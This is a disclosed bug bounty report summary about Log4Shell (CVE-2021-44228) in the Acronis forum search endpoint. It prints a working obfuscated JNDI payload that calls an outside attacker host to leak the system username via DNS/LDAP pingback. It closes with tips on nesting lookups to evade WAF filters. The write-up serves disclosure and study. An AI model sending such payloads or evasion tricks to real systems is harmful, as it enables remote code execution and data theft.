# [forum.acronis.com] JNDI Code Injection due an outdated log4j component

Acronis forum search parameter was vulnerable to Log4Shell, letting an attacker trigger JNDI LDAP lookups and exfiltrate the system username via pingback.

- Payout: hidden
- Severity: critical
- Program: Acronis
- Found by (vendor credit): Chen Zhaojun of Alibaba Cloud Security Team
- Found by: godiego
- Disclosed: 2024-08-28
- CVE: CVE-2021-44228
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1430622
- Library page: https://bugbountylibrary.com/r/h1%3A1430622
- Tags: area:web domain:web impact:rce kind:bounty platform:hackerone sev:critical tech:java technique:chained technique:oob-exfil vuln:command-injection vuln:rce

**Target:** forum.acronis.com search endpoint (Log4j-backed Java app)
**Root cause:** Outdated Log4j component logged attacker-controlled search input without sanitizing JNDI lookup syntax, enabling CVE-2021-44228.
**Steps:**
1. Send request to `https://forum.acronis.com/search?s=${j${main:\k5:-Nd}i${spring:k5:-:}ldap://${sys:user.name}-04363f1f3427b48.test3.ggdd.co.uk/}`
2. Observe DNS/LDAP pingback to attacker-controlled `ggdd.co.uk`
3. Extract leaked system username `solr` from the callback hostname
**How found:** Recognized the target ran a Java stack and tested the search parameter with an obfuscated Log4Shell JNDI payload using `${...}` nesting to bypass filters, confirming via OOB pingback.
**Exploitation:** Attacker submits crafted JNDI string in the search parameter; Log4j resolves the lookup and performs an outbound LDAP/DNS request to attacker server, exfiltrating environment data (system username) in the subdomain.
**Insight:** Obfuscate Log4Shell payloads with nested `${lower:...}`/`${env:...}` lookups to evade WAF string matching, and use `${sys:user.name}` in the LDAP hostname to leak data via DNS even when LDAP egress is blocked.